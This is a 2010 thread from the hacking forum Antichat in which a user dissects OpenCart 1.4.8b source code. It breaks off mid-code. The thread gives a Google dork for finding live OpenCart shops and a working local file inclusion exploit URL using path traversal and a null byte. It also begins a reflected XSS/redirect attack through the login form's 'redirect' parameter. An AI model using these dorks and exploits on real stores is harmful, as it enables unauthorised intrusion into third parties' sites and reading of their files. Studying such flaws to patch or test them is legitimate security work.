Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Веб-уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=114)
-   -   Уязвимости OpenCart (https://forum.antichat.xyz/showthread.php?t=215488)

Strilo4ka 04.07.2010 18:28

Версия:

OpenCart 1.4.8b RUS 0.1

Магазин: оф. сайт http://myopencart.ru/

В файле в корне config.php интересны константы:

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#FF8000"]/*...*/[/COLOR][COLOR="#0000BB"]define[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'DB_DRIVER'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'mysql'[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]define[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'DB_HOSTNAME'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'localhost'[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]define[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'DB_USERNAME'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'root'[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]define[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'DB_PASSWORD'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]define[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'DB_DATABASE'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'opencart'[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]define[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'DB_PREFIX'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'oc_'[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]/*...*/[/COLOR][/COLOR

Мб пригодитцо(читалка, блинд посимволу и т.д)

После установки двига если install не удалена, то нет никаких варнингов, а тока упоминаетцо при установке что надо удалить.

Некоторая логика(в файле system/startup.php):

Слешы удаляютцо (когда магические включены) с массивов $_GET, $_POST, $_COOKIE.

Также переменные уничтожаютцо когда rg в on с массивов которые выше зазначены + $_SESSION, $_SERVER, $_FILES .

$_SERVER['REQUEST_URI'] присваиваетцо строка с параметрами если установлена query_string.

подключения с \engine(абстрактные и финальные класы!) и \library(аналогично!)

Объект в этих подключаемых файлах не создаютцо.

Интересный файл request.php:

в конструкторе класа request массивы переприсваиваютцо, а именно: $_GET,$_POST,$_COOKIE,$_FILES, $_SERVER и присваиваютцо определенным свойствам класа.

Ключи и значения преобразовываютцо функцией htmlspecialchars в режиме ENT_COMPAT с 8-битным Unicode, совместимым с ASCII. .

А как известно одинарная кавычка остаетцо бес изменений в ENT_COMPAT, тоесть возвожны уязвимости.

Смотримс далее:

в index.php остальные файлы с \library покдключаютцо (класы), объекты еще не создаютцо.

далее в index.php создаютцо обьекты...

Дорк:

intext:"Работает на: OpenCart"

Такс, хватит воды!

LFI (ось win)
system/library/request.php

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]final class[/COLOR][COLOR="#0000BB"]Request[/COLOR][COLOR="#007700"]{

public[/COLOR][COLOR="#0000BB"]$get[/COLOR][COLOR="#007700"]= array();

public[/COLOR][COLOR="#0000BB"]$post[/COLOR][COLOR="#007700"]= array();

public[/COLOR][COLOR="#0000BB"]$cookie[/COLOR][COLOR="#007700"]= array();

public[/COLOR][COLOR="#0000BB"]$files[/COLOR][COLOR="#007700"]= array();

public[/COLOR][COLOR="#0000BB"]$server[/COLOR][COLOR="#007700"]= array();



public function
[/COLOR][COLOR="#0000BB"]__construct[/COLOR][COLOR="#007700"]() {

[/
COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]clean[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]clean[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$_COOKIE[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]clean[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_COOKIE[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$_FILES[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]clean[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_FILES[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]clean[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"]);



[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]get[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]post[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]cookie[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_COOKIE[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]files[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_FILES[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]server[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"];

}



public function
[/COLOR][COLOR="#0000BB"]clean[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"]) {

if ([/COLOR][COLOR="#0000BB"]is_array[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"])) {

foreach ([/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"]as[/COLOR][COLOR="#0000BB"]$key[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]$value[/COLOR][COLOR="#007700"]) {

unset([/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$key[/COLOR][COLOR="#007700"]]);



[/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]clean[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$key[/COLOR][COLOR="#007700"])] =[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]clean[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$value[/COLOR][COLOR="#007700"]);

}

} else {

[/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]htmlspecialchars[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]ENT_COMPAT[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'UTF-8'[/COLOR][COLOR="#007700"]);

}

return[/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"];

}

}

[/
COLOR][/COLOR

index.php

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#FF8000"]/*...*/

// Front Controller

[/COLOR][COLOR="#0000BB"]$controller[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]Front[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$registry[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#FF8000"]// Maintenance Mode

[/COLOR][COLOR="#0000BB"]$controller[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]addPreAction[/COLOR][COLOR="#007700"](new[/COLOR][COLOR="#0000BB"]Action[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'common/maintenance/check'[/COLOR][COLOR="#007700"]));

[/
COLOR][COLOR="#FF8000"]// SEO URL's

[/COLOR][COLOR="#0000BB"]$controller[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]addPreAction[/COLOR][COLOR="#007700"](new[/COLOR][COLOR="#0000BB"]Action[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'common/seo_url'[/COLOR][COLOR="#007700"]))

[/
COLOR][COLOR="#FF8000"]// Router

[/COLOR][COLOR="#007700"]if (isset([/COLOR][COLOR="#0000BB"]$request[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]get[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'route'[/COLOR][COLOR="#007700"]])) {

[/
COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]Action[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$request[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]get[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'route'[/COLOR][COLOR="#007700"]]);

}
else {

[/
COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]Action[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'common/home'[/COLOR][COLOR="#007700"]);

}

[/
COLOR][COLOR="#FF8000"]// Dispatch

[/COLOR][COLOR="#0000BB"]$controller[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]dispatch[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"], new[/COLOR][COLOR="#0000BB"]Action[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'error/not_found'[/COLOR][COLOR="#007700"]));

[/
COLOR][COLOR="#FF8000"]// Output

[/COLOR][COLOR="#0000BB"]$response[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]output[/COLOR][COLOR="#007700"]();

[/
COLOR][/COLOR

system/engine/action.php

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#FF8000"]/*...*/

[/COLOR][COLOR="#007700"]public function[/COLOR][COLOR="#0000BB"]__construct[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$route[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$args[/COLOR][COLOR="#007700"]= array()) {

[/
COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"];



[/COLOR][COLOR="#0000BB"]$parts[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]explode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'/'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]str_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'../'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$route[/COLOR][COLOR="#007700"]));



foreach
([/COLOR][COLOR="#0000BB"]$parts[/COLOR][COLOR="#007700"]as[/COLOR][COLOR="#0000BB"]$part[/COLOR][COLOR="#007700"]) {

[/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#0000BB"]$part[/COLOR][COLOR="#007700"];



if
([/COLOR][COLOR="#0000BB"]is_dir[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]DIR_APPLICATION[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'controller/'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"])) {

[/
COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]'/'[/COLOR][COLOR="#007700"];



[/COLOR][COLOR="#0000BB"]array_shift[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$parts[/COLOR][COLOR="#007700"]);



continue
;

}



if
([/COLOR][COLOR="#0000BB"]is_file[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]DIR_APPLICATION[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'controller/'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]str_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'../'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"]) .[/COLOR][COLOR="#DD0000"]'.php'[/COLOR][COLOR="#007700"])) {

[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]file[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]DIR_APPLICATION[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'controller/'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]str_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'../'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"]) .[/COLOR][COLOR="#DD0000"]'.php'[/COLOR][COLOR="#007700"];



[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]class[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'Controller'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]preg_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'/[^a-zA-Z0-9]/'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]array_shift[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$parts[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#FF8000"]/*...*/[/COLOR][/COLOR

system/engine/front.php

/

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]*...*/

public function[/COLOR][COLOR="#0000BB"]dispatch[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$error[/COLOR][COLOR="#007700"]) {

[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]error[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$error[/COLOR][COLOR="#007700"];



foreach
([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]pre_action[/COLOR][COLOR="#007700"]as[/COLOR][COLOR="#0000BB"]$pre_action[/COLOR][COLOR="#007700"]) {

[/
COLOR][COLOR="#0000BB"]$result[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]execute[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$pre_action[/COLOR][COLOR="#007700"]);



if
([/COLOR][COLOR="#0000BB"]$result[/COLOR][COLOR="#007700"]) {

[/
COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$result[/COLOR][COLOR="#007700"];



break
;

}

}



while
([/COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"]) {

[/
COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]execute[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"]);

}

}



private function
[/COLOR][COLOR="#0000BB"]execute[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"]) {

[/
COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]getFile[/COLOR][COLOR="#007700"]();

[/
COLOR][COLOR="#0000BB"]$class[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]getClass[/COLOR][COLOR="#007700"]();

[/
COLOR][COLOR="#0000BB"]$method[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]getMethod[/COLOR][COLOR="#007700"]();

[/
COLOR][COLOR="#0000BB"]$args[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]getArgs[/COLOR][COLOR="#007700"]();

[/
COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"];

if ([/COLOR][COLOR="#0000BB"]file_exists[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"])) {

require_once([/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$controller[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]$class[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]registry[/COLOR][COLOR="#007700"]);



if
([/COLOR][COLOR="#0000BB"]is_callable[/COLOR][COLOR="#007700"](array([/COLOR][COLOR="#0000BB"]$controller[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$method[/COLOR][COLOR="#007700"]))) {

[/
COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]call_user_func_array[/COLOR][COLOR="#007700"](array([/COLOR][COLOR="#0000BB"]$controller[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$method[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#0000BB"]$args[/COLOR][COLOR="#007700"]);

} else {

[/
COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]error[/COLOR][COLOR="#007700"];



[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]error[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"];

}

} else {

[/
COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]error[/COLOR][COLOR="#007700"];



[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]error[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"];

}



return
[/COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"];

}

}[/
COLOR][/COLOR

Мы находимсо в catalog\controller, а "постфикс" надо отбрасывать.

Exploit:

http://localhost/opencart_1.4.8b_rus_0.1/?route=..\..\.htaccess.txt%00

Нулл-байт сработал у мну при mg=on => 1 условие: ОС Win.

Strilo4ka 05.07.2010 03:11

pXSS в аторизации (часть представления!).

класс Сontroller в system/engine/controller.php


PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#FF8000"]/*...*/

[/COLOR][COLOR="#007700"]protected function[/COLOR][COLOR="#0000BB"]redirect[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$url[/COLOR][COLOR="#007700"]) {

[/
COLOR][COLOR="#0000BB"]header[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'Location: '[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]str_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'&'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'&'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$url[/COLOR][COLOR="#007700"]));

exit();

}

[/
COLOR][COLOR="#FF8000"]/*...*/[/COLOR][/COLOR

controller/account/login.php

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]class[/COLOR][COLOR="#0000BB"]ControllerAccountLogin[/COLOR][COLOR="#007700"]extends[/COLOR][COLOR="#0000BB"]Controller[/COLOR][COLOR="#007700"]{

private[/COLOR][COLOR="#0000BB"]$error[/COLOR][COLOR="#007700"]= array();

public function[/COLOR][COLOR="#0000BB"]index[/COLOR][COLOR="#007700"]() {

if ([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]customer[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]isLogged[/COLOR][COLOR="#007700"]()) {

[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]redirect[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]HTTPS_SERVER[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'index.php?route=account/account'[/COLOR][COLOR="#007700"]);

}

[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]language[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]load[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'account/login'[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]title[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]language[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]get[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'heading_title'[/COLOR][COLOR="#007700"]);

if (([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]request[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]server[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'REQUEST_METHOD'[/COLOR][COLOR="#007700"]] ==[/COLOR][COLOR="#DD0000"]'POST'[/COLOR][COLOR="#007700"])) {

if (isset([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]request[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]post[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'account'[/COLOR][COLOR="#007700"]])) {

[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]session[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]data[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'account'[/COLOR][COLOR="#007700"]] =[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]request[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]post[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'account'[/COLOR][COLOR="#007700"]];

if ([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]request[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]post[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'account'[/COLOR][COLOR="#007700"]] ==[/COLOR][COLOR="#DD0000"]'register'[/COLOR][COLOR="#007700"]) {

[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]redirect[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]HTTPS_SERVER[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'index.php?route=account/create'[/COLOR][COLOR="#007700"]);

}

if ([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]request[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]post[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'account'[/COLOR][COLOR="#007700"]] ==[/COLOR][COLOR="#DD0000"]'guest'[/COLOR][COLOR="#007700"]) {

[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]redirect[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]HTTPS_SERVER[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'index.php?route=checkout/guest_step_1'[/COLOR][COLOR="#007700"]);

}

}

if (isset([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]request[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]post[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'email'[/COLOR][COLOR="#007700"]]) && isset([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]request[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]post[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'password'[/COLOR][COLOR="#007700"]]) &&[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]validate[/COLOR][COLOR="#007700"]()) {

unset([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]session[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]data[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'guest'[/COLOR][COLOR="#007700"]]);

if (isset([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]request[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]post[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'redirect'[/COLOR][COLOR="#007700"]])) {

[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]redirect[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]str_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'&'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'&'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]request[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]post[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'redirect'[/COLOR][COLOR="#007700"]]));

} else {

[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]redirect[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]HTTPS_SERVER[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'index.php?route=account/account'[/COLOR][COLOR="#007700"]);

}

}

}

[/
COLOR][COLOR="#FF8000"]/*...*/

[/COLOR][COLOR="#007700"]private function[/COLOR][COLOR="#0000BB"]validate[/COLOR][COLOR="#007700"]() {

